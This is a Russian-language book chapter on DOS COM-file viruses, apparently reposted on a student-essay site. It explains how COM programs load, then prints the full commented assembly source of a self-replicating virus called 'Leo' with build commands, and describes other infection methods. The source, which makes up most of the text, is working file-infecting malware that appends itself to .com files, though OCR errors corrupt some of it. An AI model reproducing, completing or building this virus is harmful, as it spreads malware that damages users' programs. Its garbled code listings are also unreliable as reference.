СОМ-ВИРУСЫ
В
этой главе рассказано об ал-
горитмах
работы вирусов,
заражающих
СОМ-файлы,
и
способах их внедрения. Пред-
ставлен
исходный текст од-
ного
из таких вирусов с под-
робными
комментариями.
Также
приведены основные све-
дения
о структуре и принци-
пах
работы СОМ-программы.
10 СОМ-вирусы
Компьютерные
вирусы могут "гнездиться" в самых
неожиданных мес-
тах,
например, в записи начальной загрузки
MBR (master boot record),
в
исполняемых файлах типа СОМ и ЕХЕ, в
файлах динамических биб-
лиотек
DLL и даже в документах текстового
процессора Microsoft Word
for
Windows. В этом разделе подробно рассматривается
строение виру-
са,
поражающего СОМ-файлы.
Структура и процесс загрузки СОМ-программы
Что
же представляет собой СОМ-программа,
как она загружается
в
память и запускается?
Структура
СОМ-программы предельно проста - она
содержит только
код
и данные программы, не имея даже заголовка.
Размер СОМ-про-
граммы
ограничен размером одного сегмента
(64Кбайт).
И еще два понятия, которые часто будут встречаться:
Program
Segment Prefix (PSP) - область памяти размером
256 (OlOOh)
байт,
предшествующая программе при ее загрузке.
PSP содержит дан-
ные
командной строки и относящиеся к
программе переменные.
Disk
Transfer Address (DTA) - блок данных, содержащий
адреса обмена
данными
с файлом (чтение или запись). Область
DTA для работы
с
файлом используют многие функции, в том
числе и не производящие
чтение
или запись в файл. Примером может служить
функция 4Eh
(найти
первый файл по шаблону), которая будет
неоднократно встре-
чаться
в листингах программ.
Загрузка СОМ-программы в память и ее запуск происходят так:
1.
Определяется сегментный адрес свободного
участка памяти доста-
точного
для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегментЮЮОЬ
- программа). В поля PSP заносятся
соответствую-
щие
значения.
4. Устанавливается адрес DTA равным PSP:0080h.
5. Загружается СОМ-файл с адреса PSP:0100h.
6.
Значение регистра АХ устанавливается
в соответствии с парамет-
рами
командной строки.
7.
Регистры DS, ES и SS устанавливаются на
сегмент PSP и програм-
мы
(PSP.-OOOOh).
8.
Регистр SP устанавливается на конец
сегмента, после чего в стек за-
писывается
OOOOh.
9. Происходит запуск программы с адреса PSP:0100h.
СОМ-программа
всегда состоит из одного сегмента и
запускается со
смещения
OlOOh.
Простейший СОМ-вирус
В
начале СОМ-файла обычно находится
команда безусловного перехода
JMP,
состоящая из трех байт. Первый байт
содержит код команды OE9h,
следующие
два - адрес перехода. Поскольку
рассматриваемый ниже ви-
рус
учебный, он будет заражать только
СОМ-файлы, начинающиеся
с
команды JMP. Благодаря простому строению
СОМ-файла в него очень
просто
добавить тело вируса и затем указать
его адрес в команде JMP.
На
рис. 1.1. показано заражение файла таким
способом.
После
загрузки зараженного файла управление
получает вирус. Закон-
чив
работу, вирус восстанавливает оригинальный
JMP и передает уп-
равление
программе, как показано на рис. 1.2.
Что
же делает рассматриваемый вирус? После
старта он ищет в теку-
щем
каталоге СОМ-программы. Для этого
используется функция 4Eh
(найти
первый файл):
Тело
вируса записывается в конец файла,
туда
же переносится оригинальный JMP,
на
место которого записывается инструкция
JMP
на тело вируса.
Рис. 1.1.
;Ищем
первый файл по шаблону имени
mov
ah,4Eh
mov
dx,offset fname - offset myself
add
dx.bp
mov
cx,00100111b
int
21h
Затем
вирус проверяет (по первому байту файла),
подходят ли ему най-
денные
СОМ-программы:
[Открываем
файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если
при открытии файла ошибок не
произошло,
;переходим
к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;
Читаем
первый
байт
файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx.bp
xor ex,ex ;CX=0
inc
ex [(увеличение на 1) СХ=1
int
21h
Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
.файла - этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
Перед
заражением файла вирус проверяет
сигнатуру - не исключено,
что
файл уже заражен:
Переходим
в конец файла (на последний байт)
mov
ax,4200h
xor
ex,ex
mov
dx,[bp+(offset flen-offset MySelf)]
dec
dx
int
21h
;Читаем
сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
.Если при чтении файла ошибок не произошло,
[Проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
[Проверяем
сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если
сигнатура есть, то ищем другой файл,
.если
ее нет - будем заражать
je find_next2
jmp NotJnfected
Затем,
в соответствии с предложенной схемой,
вирус дописывается
в
конец файла-жертвы и устанавливает
адрес перехода на самого себя:
[Переходим
в конец файла
mov
ax,4202h
xor
ex,ex
xor
dx.dx
int
21h
Останавливаем
регистр DS на сегмент кода
push
cs
pop
ds
[Копируем
вирус в файл
mov
ah,40h
mov
cx.offset VirEnd-offset la
mov
dx,bp
sub
dx,offset myself-offset la
int
21h
[Записываем
в начало файла переход на тело
вируса
Write_Jmp:
.Переходим
в начало файла
xor
сх.сх
xor
dx,dx
mov
ax,4200h
int
21h
[Записываем
первые три байта файла (переход на тело
вируса)
mov
ah,40h
mov
сх,3
mov
dx, offset jmpvir-offset myself
add
dx.bp
int
21h
После
того, как вирус закончит свою работу,
он восстанавливает
в
исходное состояние первые три байта
программы (в памяти компью-
тера)
и передает управление на начало программы.
Далее, при
запуске
зараженного файла, управление сначала
получает вирус, затем -
исходная
программа. Благодаря такой схеме работы
рассматриваемый
вирус
может спокойно существовать, будучи
один раз выпущенным
на
волю.
Как
запустить вирус? В любом текстовом
редакторе создается файл
LEO.ASM,
содержащий исходный текст вируса, затем
этот файл компи-
лируется
и компонуется готовая программа.
Например, в системе про-
граммирования
Turbo Assembler последние два этапа выполняются
та-
кими
командами:
tasm.exe
leo.asm
tlink
leo.obj/t
В
итоге получился файл LEO.COM, содержащий
готовый СОМ-вирус.
Для
проверки работы вируса можно создать
отдельный каталог и ско-
пировать
в него этот файл, а также несколько
других СОМ-файлов.
После
запуска LEO.COM вирус внедрится во все
остальные СОМ-фай-
лы.
Не стоит бояться, что будет заражен
сразу весь компьютер - вирус
распространяется
только в текущем каталоге. Ниже приводится
исход-
ный
текст вируса:
.286
.Устанавливаем тип процессора
CheckByte
equ OFOh
[Указываем,
что регистры CS и DS содержат
;адрес
сегмента кода программы
assume
cs:code, ds:code
;Начало
сегмента кода. В конце программы сегмент
кода нужно
;закрыть
- "code ends"
code
segment
Останавливаем смещения в сегменте кода.
Данная строчка обязательна
;для СОМ-программы (все СОМ-программы
начинаются с адреса 100h)
org 100h
start:
;Имитируем
зараженный СОМ-файл.
;Тело
вируса начинается с метки la
;
jmp la
db OE9h ;Код команды JMP
dw
offset la-offset real
real:
[Выходим
из программы
mov
ah,4Ch
int
21 h
;3десь
начинается тело вируса
la:
;Сохраняем
регистры и флаги
pushf
pusha
push
ds es
.Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call
MySelf
MySelf:
pop bp
восстанавливаем
первые три байта исходной программы
mov
al,[bp+(offset bytes_3[0]-offset MySelf)]
mov
byte ptr cs:[100h],al
mov
al,[bp+(offset bytes_3[1]-offset MySelf)]
mov
byte ptr cs:[101h],al
mov
al,[bp+(offset bytes_3[2]-offset MySelf)]
mov
byte ptr cs:[102h],al
[Дальнейшая задача вируса - найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
.Ищем
первый файл по шаблону имени
mov
ah,4Eh
mov
dx.offset fname-offset myself
add
dx.bp
mov
cx,00100111b
int
21 h
;Если
файл найден - переходим к смене атрибутов,
иначе выходим
;из
вируса (здесь нет подходящих для заражения
файлов)
jnc attributes
jmp
exit
attributes:
.Читаем
оригинальные атрибуты файла
mov
ax,4300h
mov
dx,9Eh .Адрес имени файла
int
21 h
.Сохраняем
оригинальные атрибуты файла
push
ex
•.Устанавливаем
новые атрибуты файла
mov
ax,4301h
mov
dx,9Eh .Адрес имени файла
mov
cx,20h
int
21 h
Переходим
к открытию файла
jmp
Open
;Ищем
следующий файл, так как предыдущий не
подходит
FincLNext:
;Восстанавливаем
оригинальные атрибуты файла
mov
ax,4301h
mov
dx,9Eh ;Адрес имени файла
pop
сх
int
21 h
[Закрываем
файл
mov
ah,3Eh
int
21 h
;Ищем
следующий файл
mov
ah,4Fh
int
21 h
;Если
файл найден - переходим к смене атрибутов,
иначе выходим
;из
вируса (здесь нет подходящих для заражения
файлов)
jnc attributes
jmp exit
.-Открываем
файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если
при открытии файла ошибок не произошло
-
.переходим
к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем
первый
байт
файла
See_Him:
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла -
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
;
Переходим в начало файла
mov
ax,4200h
xor
ex,ex
xor
dx.dx
int
21 h
[Читаем
первые три байта файла в тело
вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем
длину файла, для чего переходим в конец
файла
Testik:
mov ax,4202h
xor ex,ex
xor dx.dx
int
21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем
длину файла
cmp
ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим,
не заражен ли файл.
;Для
этого проверим сигнатуру вируса
RichJest:
[Переходим
в конец файла (на последний байт)
mov
ax,4200h
xor
сх.сх
mov
dx,[bp+(offset flen-offset MySelf)]
dec
dx
int
21h
;Читаем
сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself
add
dx.bp
int
21 h
;Если при чтении файла ошибок
;не произошло - проверяем сигнатуру,
.иначе ищем следующий файл
jnc test_bytik
jmp tind_next
;Проверяем
сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если
сигнатура есть, то ищем другой файл,
.если
нет - будем заражать
jne NotJnfected
jmp find_next
.Файл
не заражен - будем заражать
NotJnfected:
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov
[bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:
.Переходим
в
конец
файла
mov
ax,4202h
xor
ex,ex
xor
dx.dx
int
21 h
[Устанавливаем
регистр DS на сегмент кода
push
cs
pop
ds
.Копируем
вирус в файл
mov
ah,40h
mov
ex,offset VirEnd-offset la
mov
dx.bp
sub
dx,offset myself-offset la
int
21 h
Записываем
в начало файла переход на тело
вируса
Write_Jmp:
.Переходим
в начало файла
хог
сх.сх
xor
dx,dx
mov
ax,4200h
int
21 h
[Записываем
первые три байта файла (переход на тело
вируса)
mov
ah,40h
mov
сх,3
mov
dx.offset jmpvir-offset myself
add
dx.bp
int
21h
;3акрываем
файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int
21h
exit:
восстанавливаем
первоначальные значения регистров и
флагов
pop
es ds
рора
popf
Передаем
управление программе-носителю
push
100h
retn
-.Байт
для чтения сигнатуры
bytik
db (?)
.Зарезервировано
для изменения трех байт вируса
jmpvir
db OE9h
jmp_cmd
dw (?)
;Длина
файла
flen
dw (?)
;Шаблон
для поиска файлов
fname
db "*.com",0
;0бласть
для хранения команды перехода
bytes_3
db 90h, 90h, 90h
;Байт
памяти для чтения первого байта файла
;с
целью проверки (Е9п)
buf
db (?)
;Название
вируса
virus_name
db "Leo"
;Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Способы внедрения СОМ-вирусов
Рассмотренный
вирус дописывался в конец файла, а в
начало файла
вписывал
переход на себя. Существуют и другие
способы внедрения
вирусов.
Рассмотрим
два варианта внедрения СОМ-вируса в
начало файла.
Вариант
первый. Вирус переписывает начало
программы в конец файла,
чтобы
освободить место для себя. После этого
тело вируса записывает-
ся
в начало файла, а небольшая его часть,
обеспечивающая перенос вы-
тесненного
фрагмента программы, на прежнее место
- в конец. При вос-
становлении
первоначального вида программы тело
вируса будет
затерто,
поэтому код вируса, восстанавливающий
программу, должен
находиться
в безопасном месте, отдельно от основного
тела вируса.
Этот
способ внедрения изображен на рис. 1.3.
Рис. 1.3.
При
загрузке зараженного таким способом
файла управление получит
вирус
(так как он находится в начале файла и
будет загружен с адреса
OlOOh).
После окончания работы вирус передает
управление коду, пере-
носящему
вытесненную часть программы на прежнее
место. После вос-
становления
(в памяти, не в файле) первоначального
вида программы,
она
запускается. Схема работы вируса
изображена на рис. 1.4.
Второй
вариант отличается от первого тем, что
вирус, освобождая для
себя
место, сдвигает все тело программы, а
не переносит ее часть в ко-
нец
файла. Этот способ внедрения изображен
на рис. 1.5.
После
запуска зараженной программы, как и в
предыдущем случае,
управление
получает вирус. Дальнейшая работа вируса
отличается
только
тем, что часть вируса, восстанавливающая
первоначальный вид
программы,
переносит к адресу OlOOh все тело программы,
а не только
вытесненную
часть. Схема работы вируса, заражающего
файл таким
образом,
приведена на рис. 1.6.
Существуют
разновидности вирусов, не дописывающие
часть своего
тела
в конец файла. К примеру, вирус может
внедряться в середину
файла.
В этом случае алгоритм работы вируса
является смесью алгорит-
мов
одного из двух только что описанных
вирусов и вируса, описанно-
го
в разделе "Простейший СОМ-вирус".
Не смотря на то, что все материалы на сайте xies.ru носят ознакомительный характер, наша база однозначно может помочь с написанием дипломных работ или рефератов. Каталок настолько внушительный, что у нас вы точно сможете найти отсортированные по тематикам рефераты и курсовые, а также контрольные работы и дипломы. Для тех кто ищет конспекты, тоже найдётся подходящая информация, которую без труда можно скачать бесплатно. Всё для студентов и школьников, в одной базе рефератов!